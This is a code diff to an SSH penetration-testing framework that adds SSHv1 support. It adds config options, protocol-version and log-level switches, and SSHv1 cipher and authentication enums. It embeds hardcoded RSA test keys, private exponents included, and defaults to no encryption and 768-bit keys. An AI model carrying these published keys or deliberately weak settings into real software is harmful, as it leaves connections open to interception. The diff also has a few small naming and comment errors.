@@ -44,6 +46,27 @@ public class Config implements Serializable {
private static final Logger LOGGER = LogManager.getLogger();
+ public Integer getDefaultAdditionalPadding() {
+ return defaultAdditionalPadding;
+ }
+
+ public String getDefaultAuthenticationMessageData() {
+ return defaultAuthenticationMessageData;
+ }
+
+ public void setDefaultAuthenticationMessageData(String defaultAuthenticationMessageData) {
+ this.defaultAuthenticationMessageData = defaultAuthenticationMessageData;
+ }
+
+ @XmlJavaTypeAdapter(IllegalStringAdapter.class)
+ private String defaultAuthenticationMessageData = "Test";
+
+ public void setDefaultAdditionalPadding(Integer defaultAdditionalPadding) {
+ this.defaultAdditionalPadding = defaultAdditionalPadding;
+ }
+
+ private Integer defaultAdditionalPadding = 0;
+
private static final String DEFAULT_CONFIG_FILE = "/default_config.xml";
private static final ConfigCache DEFAULT_CONFIG_CACHE;
@@ -62,6 +85,10 @@ public class Config implements Serializable {
/** The default running mode, when running the SSH-Attacker */
private RunningModeType defaultRunningMode = RunningModeType.CLIENT;
+ private Boolean resetClientSourcePort = true;
+
+ private Boolean endless = false;
+
// region VersionExchange
/** Client protocol and software version string starting with the SSH version (SSH-2.0-...) */
private String clientVersion;
@@ -81,6 +108,8 @@ public class Config implements Serializable {
/** End-of-message sequence of the servers' VersionExchangeMessage */
private String serverEndOfMessageSequence;
+ private boolean doNotEncryptMessages = false;
+
// endregion
// region Pre-KeyExchange
@@ -92,6 +121,21 @@ public class Config implements Serializable {
@XmlJavaTypeAdapter(UnformattedByteArrayAdapter.class)
private byte[] serverCookie;
+ @XmlJavaTypeAdapter(UnformattedByteArrayAdapter.class)
+ private byte[] antiSpoofingCookie;
+
+ @XmlElement(name = "supportedCipherMethod")
+ @XmlElementWrapper
+ private List supportedCipherMethods;
+
+ @XmlElement(name = "supportedAuthenticationMethod")
+ @XmlElementWrapper
+ private List supportedAuthenticationMethods;
+
+ @XmlElement(name = "protocolFlag")
+ @XmlElementWrapper
+ private List chosenProtocolFlags;
+
/** List of key exchange algorithms supported by the remote peer */
@XmlElement(name = "clientSupportedKeyExchangeAlgorithm")
@XmlElementWrapper
@@ -277,6 +321,11 @@ public class Config implements Serializable {
@XmlElementWrapper
private List> hostKeys;
+ /** Server key */
+ @XmlElement(name = "serverKey")
+ @XmlElementWrapper
+ private List> serverKeys;
+
/**
* RSA transient key used to encrypt the shared secret K. This may be a transient key generated
* solely for this SSH connection, or it may be re-used for several connections.
@@ -336,6 +385,10 @@ public class Config implements Serializable {
@XmlElementWrapper
private List> userKeys;
+ @XmlElement(name = "userKeyAlgorithms")
+ @XmlElementWrapper
+ private List userKeyAlgorithms;
+
// endregion
// region Channel
@@ -411,8 +464,8 @@ public class Config implements Serializable {
// endregion
// region Workflow settings
- /** The path to load workflow trace from. The workflow trace must be stored in an XML-File. */
- private String workflowInput;
+ /** The path to load workflow trace from. The workflow trace must be stored in a XML-File. */
+ private String workflowInput = null;
/**
* The type of workflow trace, that should be executed by the Ssh client or server. The workflow
@@ -429,7 +482,7 @@ public class Config implements Serializable {
private List outputFilters;
/** The path to save the workflow trace as output */
- private String workflowOutput;
+ private String workflowOutput = null;
/** Defines the type of WorkflowExecutor to use when executing the workflow. */
private WorkflowExecutorType workflowExecutorType = WorkflowExecutorType.DEFAULT;
@@ -465,8 +518,6 @@ public class Config implements Serializable {
* Setting this to true results in the client transport handlers trying to acquire a new port on
* each connection attempt. Default behavior true so that reused ports are not an issue.
*/
- private Boolean resetClientSourcePort = true;
-
/**
* Setting this to true results in multiple attempts to initialize a connection to the server
* when a ClientTcpTransportHandler is used.
@@ -503,11 +554,53 @@ public class Config implements Serializable {
// endregion
/** The path to save the Config as file. */
- private String configOutput;
+ private String configOutput = null;
/** Fallback for type of chooser, to initialize the chooser in the SshContext */
private ChooserType chooserType = ChooserType.DEFAULT;
+ public void setDefaultLayerConfiguration(LayerConfiguration defaultLayerConfiguration) {
+ this.defaultLayerConfiguration = defaultLayerConfiguration;
+ }
+
+ private LayerConfiguration defaultLayerConfiguration;
+
+ public CompressionAlgorithm getDefaultSelectedCompressionAlgorithm() {
+ return defaultSelectedCompressionAlgorithm;
+ }
+
+ private CompressionAlgorithm defaultSelectedCompressionAlgorithm = CompressionAlgorithm.NONE;
+
+ public EncryptionAlgorithm getDefaultSelectedEncryptionAlgorithm() {
+ return defaultSelectedEncryptionAlgorithm;
+ }
+
+ private EncryptionAlgorithm defaultSelectedEncryptionAlgorithm =
+ EncryptionAlgorithm.CHACHA20_POLY1305_OPENSSH_COM;
+
+ public MacAlgorithm getDefaultSelectedMacAlgorithm() {
+ return defaultSelectedMacAlgorithm;
+ }
+
+ private MacAlgorithm defaultSelectedMacAlgorithm = MacAlgorithm.UMAC_64_ETM_OPENSSH_COM;
+
+ public KeyExchangeAlgorithm getDefaultSelectedKeyExchangeAlgorithm() {
+ return defaultSelectedKeyExchangeAlgorithm;
+ }
+
+ private KeyExchangeAlgorithm defaultSelectedKeyExchangeAlgorithm =
+ KeyExchangeAlgorithm.CURVE25519_SHA256;
+
+ public ProtocolVersion getProtocolVersion() {
+ return protocolVersion;
+ }
+
+ public void setProtocolVersion(ProtocolVersion protocolVersion) {
+ this.protocolVersion = protocolVersion;
+ }
+
+ private ProtocolVersion protocolVersion;
+
// region Constructors and Initialization
public Config() {
super();
@@ -515,6 +608,9 @@ public Config() {
defaultClientConnection = new OutboundConnection("client", 65222, "localhost");
defaultServerConnection = new InboundConnection("server", 65222, "localhost");
+ protocolVersion = ProtocolVersion.SSH2;
+ defaultLayerConfiguration = LayerConfiguration.SSHV2;
+
// region VersionExchange initialization
clientVersion = "SSH-2.0-OpenSSH_9.0";
clientComment = "";
@@ -528,6 +624,25 @@ public Config() {
clientCookie = ArrayConverter.hexStringToByteArray("00000000000000000000000000000000");
serverCookie = ArrayConverter.hexStringToByteArray("00000000000000000000000000000000");
+ antiSpoofingCookie =
+ ArrayConverter.hexStringToByteArray(
+ "0000000000000000"); // 16 Byte Anti-Spoofing-Cookie
+
+ chosenProtocolFlags =
+ Arrays.stream(new ProtocolFlag[] {})
+ .collect(Collectors.toCollection(LinkedList::new));
+
+ supportedCipherMethods =
+ Arrays.stream(new CipherMethod[] {CipherMethod.SSH_CIPHER_NONE})
+ .collect(Collectors.toCollection(LinkedList::new));
+
+ supportedAuthenticationMethods =
+ Arrays.stream(
+ new AuthenticationMethodSSHv1[] {
+ AuthenticationMethodSSHv1.SSH_AUTH_PASSWORD
+ })
+ .collect(Collectors.toCollection(LinkedList::new));
+
// Default values for cryptographic parameters are taken from OpenSSH 8.2p1
clientSupportedKeyExchangeAlgorithms =
Arrays.stream(
@@ -858,7 +973,219 @@ public Config() {
new XCurveEcPrivateKey(
ArrayConverter.hexStringToByteArray(
"092E829DE536BE8F7D74E7A3C6CD90EA6EADDDEEB2E50D8617EBDD132B53669B"),
- NamedEcGroup.CURVE25519)));
+ NamedEcGroup.CURVE25519)),
+ // 768 Bit SSH RSA Hostkey -> for SSHv1 Testing
+ new SshPublicKey<>(
+ PublicKeyFormat.SSH_RSA,
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00CBD043B6C05475FA3361BAB21CD2"
+ + "58D703B61551A486991B601827176B"
+ + "3E060147B6A031B44AB557E43A9AC6"
+ + "BF0D569266501017C7055449975B61"
+ + "2650ED45DF03CB5B53A468117827B1"
+ + "D15C24253FBA68874DDD3827302EE9"
+ + "B01749716C9CD1",
+ 16)),
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "00852020CAA2EFC82BC81A02AF4A62"
+ + "1EC33ADA592C7DB1A91A17774F395D"
+ + "C42279FD948D284A222E371D8D2601"
+ + "C152FE02F18C2D3BBD97EBD9D34AA5"
+ + "DE558AFAF6B47B3A2D0A29E44729A9"
+ + "1DEFDA9712051B3EA2C79A307BBFDF"
+ + "257EB0A21369C1",
+ 16),
+ new BigInteger(
+ "00CBD043B6C05475FA3361BAB21CD2"
+ + "58D703B61551A486991B601827176B"
+ + "3E060147B6A031B44AB557E43A9AC6"
+ + "BF0D569266501017C7055449975B61"
+ + "2650ED45DF03CB5B53A468117827B1"
+ + "D15C24253FBA68874DDD3827302EE9"
+ + "B01749716C9CD1",
+ 16))),
+ // 1024 Bit SSH RSA Hostkey -> for SSHv1 Testing
+ new SshPublicKey<>(
+ PublicKeyFormat.SSH_RSA,
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00C6D5D18B3BDCA91AE922941730D7"
+ + "BFF6F959CACC67609C571CA281148B"
+ + "97F8CA742B85E9FABAF308E6BFED40"
+ + "06B639159E19CCCD3FFF4374E905B3"
+ + "D4FEE6B3F8867940FDAD622FF59E7E"
+ + "8E7801C29D5BEB6004E1F127C1B37B"
+ + "5BEDFF057F06FB133A21DA77B2B9FA"
+ + "9E4CF72740F0049B30DC1CE23EB2B7"
+ + "E6E92B129E1EFE67E3",
+ 16)),
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "0092FAA9AC0FB31CBA0CCE07C460D1"
+ + "8B5088A02C7E0E88E6E8A9FD2207CA"
+ + "ECAAF7150ABB31EBAAD84EA32C0AB7"
+ + "C27E5F1230CD878BCD9BE7047BE040"
+ + "3FD9B13624D9C822AB17C96615BB5A"
+ + "875D1A076D282B2E9035FAC37DB066"
+ + "82C8498BA624C77B0E1E2ECBE7AB5A"
+ + "5A0342E20C54482D149A7F37F8EF4A"
+ + "2C148CD3ADD6782189",
+ 16),
+ new BigInteger(
+ "00C6D5D18B3BDCA91AE922941730D7"
+ + "BFF6F959CACC67609C571CA281148B"
+ + "97F8CA742B85E9FABAF308E6BFED40"
+ + "06B639159E19CCCD3FFF4374E905B3"
+ + "D4FEE6B3F8867940FDAD622FF59E7E"
+ + "8E7801C29D5BEB6004E1F127C1B37B"
+ + "5BEDFF057F06FB133A21DA77B2B9FA"
+ + "9E4CF72740F0049B30DC1CE23EB2B7"
+ + "E6E92B129E1EFE67E3",
+ 16))));
+
+ serverKeys =
+ List.of(
+ // Default 1024 Bit Serverkey for SSHv1
+ new SshPublicKey<>(
+ PublicKeyFormat.SSH_RSA,
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00C25E6978A2B8FE2C6228024BD5D0"
+ + "F3239DDDDECCDF156AEF9D3F7F56AF"
+ + "8443C510A03C66779363C33082D04D"
+ + "23648B308AE0BE07A1451C8BFF0B97"
+ + "DCA43E5703D66B8C04BF46DDBC79A7"
+ + "7228179E5B246433098BF8271CCE66"
+ + "C5E4CB3A9E2ECEE52BB07C33F92893"
+ + "A5D5B6F163BE6FBC1E8E66E4666866"
+ + "871890105EFFE1193F",
+ 16)),
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "64F3D28624C63EC5E0A9751FDC4B2D"
+ + "ADC715F0DDA9D49EF91B4C5AA03483"
+ + "570BA8AA01151B704335A3219E7D22"
+ + "2FDB9777DA68F8DF8B5CDB5DB9B0C3"
+ + "99CF0334044E6ED09B40E754809429"
+ + "F6C387B7AC7BA00ECFE7AFE4D41499"
+ + "B2F341FBB0496C52CBE5EB1F7E64F4"
+ + "BF21F72B64EE0B478EAB6A0008E07A"
+ + "E2F52960703D0EB9",
+ 16),
+ new BigInteger(
+ "00C25E6978A2B8FE2C6228024BD5D0"
+ + "F3239DDDDECCDF156AEF9D3F7F56AF"
+ + "8443C510A03C66779363C33082D04D"
+ + "23648B308AE0BE07A1451C8BFF0B97"
+ + "DCA43E5703D66B8C04BF46DDBC79A7"
+ + "7228179E5B246433098BF8271CCE66"
+ + "C5E4CB3A9E2ECEE52BB07C33F92893"
+ + "A5D5B6F163BE6FBC1E8E66E4666866"
+ + "871890105EFFE1193F",
+ 16))),
+ // Default 768 Bit Serverkey for SSHv1
+ new SshPublicKey<>(
+ PublicKeyFormat.SSH_RSA,
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00CB2C65943BB603C0072D4C5AFD8B"
+ + "C5155D57231F02D191A079A3758BCF"
+ + "96E83318F0729D05437B543088D8A1"
+ + "73675EE40E7506EFB09EDD62C868C5"
+ + "27DB0768AB643AD09A7C42C6AD47DA"
+ + "ACE6CD53C051E26E69AF472D0CFE17"
+ + "322EC96499E529",
+ 16)),
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "00B30F82CADCC13296E7FC5D420819"
+ + "49EDE560A99C68208906F48D4248A1"
+ + "00EFCE30D9A1398FED04619390D7D3"
+ + "9AE0ECB7DFB6A5EC8CA6A491097680"
+ + "9280CB64AF1F8C8B67739CF7093B34"
+ + "4343419647B331CD9827953279BE6C"
+ + "AC31C55BA6EF01",
+ 16),
+ new BigInteger(
+ "00CB2C65943BB603C0072D4C5AFD8B"
+ + "C5155D57231F02D191A079A3758BCF"
+ + "96E83318F0729D05437B543088D8A1"
+ + "73675EE40E7506EFB09EDD62C868C5"
+ + "27DB0768AB643AD09A7C42C6AD47DA"
+ + "ACE6CD53C051E26E69AF472D0CFE17"
+ + "322EC96499E529",
+ 16))),
+ // Default 2048 Bit Serverkey for SSHv1
+ new SshPublicKey<>(
+ PublicKeyFormat.SSH_RSA,
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "009DC14D07EADCB9AFF4C37E5961BA"
+ + "17EF728A8E8BF106AEDCE25AAD2282"
+ + "CEA7A9FAED27BE0EC988DCA1434216"
+ + "974D3078A0226182CF9A8945681263"
+ + "E0B7724F8A92D97DCF9D1BE9234D51"
+ + "8F91879078B72DB44DE8B9AB76568D"
+ + "6FE10A1264B947BBBFF3957A9F3699"
+ + "3EC3CD623A6D3E4B188476CC91C547"
+ + "00D0BD3CCB6872EDAF1E42CA69A206"
+ + "57E667D7760BEED1D817971B4F3764"
+ + "7A1E7AC85605E1AABC836B04CED2E8"
+ + "A389EA339116806FED939D12F26CB9"
+ + "D82D91DD5D9B5B86D052FC890F1305"
+ + "393C57656D37A691ABAD93D24251FC"
+ + "897E39BFED07679C16B8355C804EFA"
+ + "23BBF2A7CABEE87EF768E75D1D0CEF"
+ + "7251E09BD911DF7E7EFB3E0E8480FA"
+ + "7C57",
+ 16)),
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "132E4755AC2A09DC814737F827A31D"
+ + "92698119F14B0A999379AB80FD8513"
+ + "3D321E3BBA81C55C28916D0FFE3CC6"
+ + "D35E02A7D9CCECC56BAC771C30467B"
+ + "EBC658789E41EB043EA92036FB87F2"
+ + "1BE8E714DAF5FD36FA589BD5BBD696"
+ + "F5D46CDDCC6B856584DD295B1204B6"
+ + "35F229E7CA75299D96ACA0448BCF89"
+ + "062AACAC66F80228E8A2B4F7255944"
+ + "9843F398A2E3E09B4D9402CB50D425"
+ + "86CA6251B268624590BE96D34B67B7"
+ + "0AED343D979B91BC36697F15FA1BD7"
+ + "CF2528ED177A5BD03ECA6D65D8CA76"
+ + "C91F0B97335C1F7325860334EACB8D"
+ + "D05DAB103FC73AF6C377FCE7725063"
+ + "E2EB3680BA19EFB457AE905622D564"
+ + "A1BFA6686FD2D5B31024251483FA61",
+ 16),
+ new BigInteger(
+ "009DC14D07EADCB9AFF4C37E5961BA"
+ + "17EF728A8E8BF106AEDCE25AAD2282"
+ + "CEA7A9FAED27BE0EC988DCA1434216"
+ + "974D3078A0226182CF9A8945681263"
+ + "E0B7724F8A92D97DCF9D1BE9234D51"
+ + "8F91879078B72DB44DE8B9AB76568D"
+ + "6FE10A1264B947BBBFF3957A9F3699"
+ + "3EC3CD623A6D3E4B188476CC91C547"
+ + "00D0BD3CCB6872EDAF1E42CA69A206"
+ + "57E667D7760BEED1D817971B4F3764"
+ + "7A1E7AC85605E1AABC836B04CED2E8"
+ + "A389EA339116806FED939D12F26CB9"
+ + "D82D91DD5D9B5B86D052FC890F1305"
+ + "393C57656D37A691ABAD93D24251FC"
+ + "897E39BFED07679C16B8355C804EFA"
+ + "23BBF2A7CABEE87EF768E75D1D0CEF"
+ + "7251E09BD911DF7E7EFB3E0E8480FA"
+ + "7C57",
+ 16))));
fallbackRsaTransientPublicKey =
new SshPublicKey<>(
@@ -1160,6 +1487,10 @@ public byte[] getServerCookie() {
return serverCookie;
}
+ public byte[] getAntiSpoofingCookie() {
+ return antiSpoofingCookie;
+ }
+
public String getClientEndOfMessageSequence() {
return clientEndOfMessageSequence;
}
@@ -1301,6 +1632,10 @@ public int getServerReserved() {
// endregion
// region Setters for Pre-KeyExchange
+ public void setAntiSpoofingCookie(byte[] antiSpoofingCookie) {
+ this.antiSpoofingCookie = antiSpoofingCookie;
+ }
+
public void setClientCookie(byte[] clientCookie) {
this.clientCookie = clientCookie;
}
@@ -1560,6 +1895,10 @@ public Boolean getEnforceSettings() {
return hostKeys;
}
+ public List> getServerKeys() {
+ return serverKeys;
+ }
+
// endregion
// region Setters for KeyExchange
public void setDhGexMinimalGroupSize(Integer dhGexMinimalGroupSize) {
@@ -1610,6 +1949,10 @@ public void setHostKeys(List> hostKeys) {
this.hostKeys = Objects.requireNonNull(hostKeys);
}
+ public void setResetClientSourcePort(Boolean resetClientSourcePort) {
+ this.resetClientSourcePort = resetClientSourcePort;
+ }
+
// endregion
// region Getters for authentication
@@ -1637,6 +1980,20 @@ public List getPreConfiguredAuthResponses() {
return userKeys;
}
+ /**
+ * Get the list of user key algorithms to use for authentication.
+ *
+ *
These algorithms will be used for user authentication. If this value is not set, the user
+ * key algorithm might be any public key algorithms that is compatible with the user key's
+ * format.
+ *
+ * @return list of public key algorithms, or no value
+ * @see #setUserKeyAlgorithms
+ */
+ public Optional> getUserKeyAlgorithms() {
+ return Optional.ofNullable(this.userKeyAlgorithms);
+ }
+
// endregion
// region Setters for authentication
public void setAuthenticationMethod(AuthenticationMethod authenticationMethod) {
@@ -1664,6 +2021,16 @@ public void setUserKeys(List> userKeys) {
this.userKeys = Objects.requireNonNull(userKeys);
}
+ /**
+ * Set the list of user key algorithms to use for authentication.
+ *
+ * @param userKeyAlgorithms list of public key algorithms, or no value
+ * @see #getUserKeyAlgorithms
+ */
+ public void setUserKeyAlgorithms(final Optional> userKeyAlgorithms) {
+ this.userKeyAlgorithms = userKeyAlgorithms.orElse(null);
+ }
+
// endregion
// region Getters for Channel
@@ -1824,7 +2191,7 @@ public Boolean getResetWorkflowtracesBeforeSaving() {
return resetWorkflowtracesBeforeSaving;
}
- public Boolean getResetClientSourcePort() {
+ public Boolean isResetClientSourcePort() {
return resetClientSourcePort;
}
@@ -1887,10 +2254,6 @@ public void setResetWorkflowtracesBeforeSaving(Boolean resetWorkflowtracesBefore
this.resetWorkflowtracesBeforeSaving = resetWorkflowtracesBeforeSaving;
}
- public void setResetClientSourcePort(Boolean resetClientSourcePort) {
- this.resetClientSourcePort = resetClientSourcePort;
- }
-
public void setRetryFailedClientTcpSocketInitialization(
Boolean retryFailedClientTcpSocketInitialization) {
this.retryFailedClientTcpSocketInitialization = retryFailedClientTcpSocketInitialization;
@@ -1946,4 +2309,49 @@ public ChooserType getChooserType() {
public void setChooserType(ChooserType chooserType) {
this.chooserType = chooserType;
}
+
+ public LayerConfiguration getDefaultLayerConfiguration() {
+ return defaultLayerConfiguration;
+ }
+
+ public List getSupportedCipherMethods() {
+ return supportedCipherMethods;
+ }
+
+ public void setSupportedCipherMethods(List supportedCipherMethods) {
+ this.supportedCipherMethods = supportedCipherMethods;
+ }
+
+ public List getSupportedAuthenticationMethods() {
+ return supportedAuthenticationMethods;
+ }
+
+ public void setSupportedAuthenticationMethods(
+ List supportedAuthenticationMethods) {
+ this.supportedAuthenticationMethods = supportedAuthenticationMethods;
+ }
+
+ public List getChosenProtocolFlags() {
+ return chosenProtocolFlags;
+ }
+
+ public void setChosenProtocolFlags(List chosenProtocolFlags) {
+ this.chosenProtocolFlags = chosenProtocolFlags;
+ }
+
+ public Boolean getEndless() {
+ return endless;
+ }
+
+ public void setEndless(Boolean endless) {
+ this.endless = endless;
+ }
+
+ public boolean isDoNotEncryptMessages() {
+ return doNotEncryptMessages;
+ }
+
+ public void setDoNotEncryptMessages(boolean doNotEncryptMessages) {
+ this.doNotEncryptMessages = doNotEncryptMessages;
+ }
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/GeneralDelegate.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/GeneralDelegate.java
index d3035428d..70c921ed1 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/GeneralDelegate.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/GeneralDelegate.java
@@ -33,6 +33,14 @@ public class GeneralDelegate extends Delegate {
@Parameter(names = "-quiet", description = "No output (sets logLevel to NONE)")
private boolean quiet;
+ @Parameter(names = "-info", description = "Info output (sets logLevel to INFO)")
+ private boolean info;
+
+ @Parameter(names = "-warn", description = "Info output (sets logLevel to warn)")
+ private boolean warn;
+
+ public GeneralDelegate() {}
+
public boolean isHelp() {
return help;
}
@@ -60,10 +68,14 @@ public void setQuiet(boolean quiet) {
@Override
public void applyDelegate(Config config) {
Security.addProvider(new BouncyCastleProvider());
- if (debug) {
- Configurator.setAllLevels("de.rub.nds.sshattacker", Level.DEBUG);
+ if (isDebug()) {
+ Configurator.setAllLevels("de.rub.nds", Level.DEBUG);
+ } else if (info) {
+ Configurator.setAllLevels("de.rub.nds", Level.INFO);
+ } else if (warn) {
+ Configurator.setAllLevels("de.rub.nds", Level.WARN);
} else if (quiet) {
- Configurator.setAllLevels("de.rub.nds.sshattacker", Level.OFF);
+ Configurator.setAllLevels("de.rub.nds", Level.OFF);
}
LOGGER.debug("Using the following security providers");
for (Provider p : Security.getProviders()) {
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ProtocolVersionDelegate.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ProtocolVersionDelegate.java
new file mode 100644
index 000000000..866f25376
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ProtocolVersionDelegate.java
@@ -0,0 +1,53 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.config.delegate;
+
+import com.beust.jcommander.Parameter;
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.constants.ProtocolVersion;
+import de.rub.nds.sshattacker.core.exceptions.ConfigurationException;
+import de.rub.nds.sshattacker.core.layer.constant.LayerConfiguration;
+
+public class ProtocolVersionDelegate extends Delegate {
+
+ @Parameter(names = "-version", description = "Highest supported protocol version ")
+ private ProtocolVersion protocolVersion = null;
+
+ public ProtocolVersionDelegate() {
+ super();
+ }
+
+ public ProtocolVersionDelegate(ProtocolVersion protocolVersion) {
+ super();
+ this.protocolVersion = protocolVersion;
+ }
+
+ public ProtocolVersion getProtocolVersion() {
+ return protocolVersion;
+ }
+
+ public void setProtocolVersion(ProtocolVersion protocolVersion) {
+ this.protocolVersion = protocolVersion;
+ }
+
+ @Override
+ public void applyDelegate(Config config) {
+ if (protocolVersion == null) {
+ return;
+ }
+
+ config.setProtocolVersion(protocolVersion);
+ if (config.getProtocolVersion().isSSHv2()) {
+ config.setDefaultLayerConfiguration(LayerConfiguration.SSHV2);
+ } else if (config.getProtocolVersion().isSSHv1()) {
+ config.setDefaultLayerConfiguration(LayerConfiguration.SSHV1);
+ } else {
+ throw new ConfigurationException("Not a valid protocollversion");
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ServerDelegate.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ServerDelegate.java
index d4096fcdd..a6f27038d 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ServerDelegate.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/config/delegate/ServerDelegate.java
@@ -16,7 +16,12 @@
public class ServerDelegate extends Delegate {
@Parameter(names = "-port", required = true, description = "ServerPort")
- protected Integer port;
+ protected Integer port = null;
+
+ @Parameter(names = "-endless", description = "EndlessMode")
+ protected Boolean endless = false;
+
+ public ServerDelegate() {}
public Integer getPort() {
return port;
@@ -26,6 +31,14 @@ public void setPort(int port) {
this.port = port;
}
+ public Boolean getEndless() {
+ return endless;
+ }
+
+ public void setEndless(Boolean endless) {
+ this.endless = endless;
+ }
+
@Override
public void applyDelegate(Config config) {
@@ -39,9 +52,16 @@ public void applyDelegate(Config config) {
inboundConnection = new InboundConnection(parsedPort);
config.setDefaultServerConnection(inboundConnection);
}
+
+ if (endless) {
+ LOGGER.debug("ENDLESS");
+ config.setWorkflowExecutorShouldClose(true);
+ config.setStopActionsAfterDisconnect(true);
+ config.setEndless(true);
+ }
}
- private static int parsePort(Integer port) {
+ private int parsePort(Integer port) {
if (port == null) {
throw new ParameterException("Port must be set, but was not specified");
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/AuthenticationMethodSSHv1.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/AuthenticationMethodSSHv1.java
new file mode 100644
index 000000000..d24b495c0
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/AuthenticationMethodSSHv1.java
@@ -0,0 +1,49 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.constants;
+
+import java.util.Collections;
+import java.util.Map;
+import java.util.TreeMap;
+
+public enum AuthenticationMethodSSHv1 {
+
+ // Ciphermethods from ssh1.2.28
+ SSH_CIPHER_NONE(0),
+ SSH_AUTH_RHOSTS(1),
+ SSH_AUTH_RSA(2),
+ SSH_AUTH_PASSWORD(3),
+ SSH_AUTH_RHOSTS_RSA(4),
+ SSH_AUTH_TIS(5),
+ SSSSH_AUTH_KERBEROSH_CIPHER_RESERVED(6),
+ SSH_PASS_KERBEROS_TGT(7);
+
+ private final int id;
+
+ public static final Map map;
+
+ static {
+ Map mutableMap = new TreeMap<>();
+ for (AuthenticationMethodSSHv1 constant : AuthenticationMethodSSHv1.values()) {
+ mutableMap.put(constant.id, constant);
+ }
+ map = Collections.unmodifiableMap(mutableMap);
+ }
+
+ AuthenticationMethodSSHv1(int id) {
+ this.id = id;
+ }
+
+ public int getId() {
+ return id;
+ }
+
+ public static AuthenticationMethodSSHv1 fromId(int id) {
+ return map.get(id);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/BinaryPacketConstants.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/BinaryPacketConstants.java
index 7ea1597f4..7b43105ac 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/BinaryPacketConstants.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/BinaryPacketConstants.java
@@ -11,6 +11,7 @@ public final class BinaryPacketConstants {
public static final int LENGTH_FIELD_LENGTH = 4;
public static final int PACKET_FIELD_LENGTH = 4;
public static final int PADDING_FIELD_LENGTH = 1;
+ public static final int CRC_FIELD_LENGHT = 4;
public static final int DEFAULT_BLOCK_SIZE = 8;
public static final int MIN_PADDING_LENGTH = 4;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/CipherMethod.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/CipherMethod.java
new file mode 100644
index 000000000..34e1ce382
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/CipherMethod.java
@@ -0,0 +1,49 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.constants;
+
+import java.util.Collections;
+import java.util.Map;
+import java.util.TreeMap;
+
+public enum CipherMethod {
+
+ // Ciphermethods from ssh1.2.28
+ SSH_CIPHER_NONE(0),
+ SSH_CIPHER_IDEA(1),
+ SSH_CIPHER_DES(2),
+ SSH_CIPHER_3DES(3),
+ CIPHER_NOT_SET(4),
+ SSH_CIPHER_ARCFOUR(5),
+ SSH_CIPHER_BLOWFISH(6),
+ SSH_CIPHER_RESERVED(7);
+
+ private final int id;
+
+ public static final Map map;
+
+ static {
+ Map mutableMap = new TreeMap<>();
+ for (CipherMethod constant : CipherMethod.values()) {
+ mutableMap.put(constant.id, constant);
+ }
+ map = Collections.unmodifiableMap(mutableMap);
+ }
+
+ CipherMethod(int id) {
+ this.id = id;
+ }
+
+ public int getId() {
+ return id;
+ }
+
+ public static CipherMethod fromId(int id) {
+ return map.get(id);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/KeyExchangeAlgorithm.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/KeyExchangeAlgorithm.java
index ee2776863..dbac1a58d 100755
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/KeyExchangeAlgorithm.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/constants/KeyExchangeAlgorithm.java
@@ -85,6 +85,7 @@ public enum KeyExchangeAlgorithm {
// [ RFC 4432 ]
